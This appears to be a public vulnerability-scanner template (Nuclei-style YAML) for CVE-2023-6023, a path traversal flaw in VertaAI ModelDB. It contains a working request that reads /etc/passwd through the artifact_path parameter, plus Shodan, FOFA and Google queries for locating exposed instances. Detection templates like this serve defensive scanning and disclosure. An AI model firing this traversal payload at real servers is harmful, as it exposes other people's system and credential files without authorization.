CVE-2023-6023: VertaAI ModelDB - Path Traversal

2025-08-01 VertaAI ModelDB PoC Public

Description

The endpoint "/api/v1/artifact/getArtifact?artifact_path=" is vulnerable to path traversal. The main cause of this vulnerability is due to the lack of validation and sanitization of the artifact_path parameter.

PoC

id: CVE-2023-6023

info:
  name: VertaAI ModelDB - Path Traversal
  author: m0ck3d,cookiehanhoan
  severity: high
  description: |
    The endpoint "/api/v1/artifact/getArtifact?artifact_path=" is vulnerable to path traversal. The main cause of this vulnerability is due to the lack of validation and sanitization of the artifact_path parameter.
  impact: |
    Attackers can potentially exploit this vulnerability to perform a relative path traversal attack, which can lead to unauthorized access to sensitive local files on the server. As an impact it is known to affect confidentiality.
  remediation: Restrict access to the web application
  reference:
    - https://huntr.com/bounties/644ab868-db6d-4685-ab35-1a897632d2ca/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6023
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6023
    cwe-id: CWE-22,CWE-29
    epss-score: 0.02975
    epss-percentile: 0.86575
    cpe: cpe:2.3:a:vertaai:modeldb:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vertaai
    product: modeldb
    shodan-query:
      - http.favicon.hash:-2097033750
      - http.title:"verta ai"
    fofa-query:
      - icon_hash=-2097033750
      - title="verta ai"
    google-query: intitle:"verta ai"
    zoomeye-query: title="Verta AI"
  tags: cve,cve2023,lfi,modeldb,vertaai,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/artifact/getArtifact?artifact_path=../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"
          - "filename="
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210081699e0eedf7462a8f7df3f7917c242d57db04efe674aa75929e9d32ced6242e022100dc09f0782391846abbc16d9f8107c4485178923ac8f9432cee5f350df57c7743:922c64590222798bb761d5b6d8e72950

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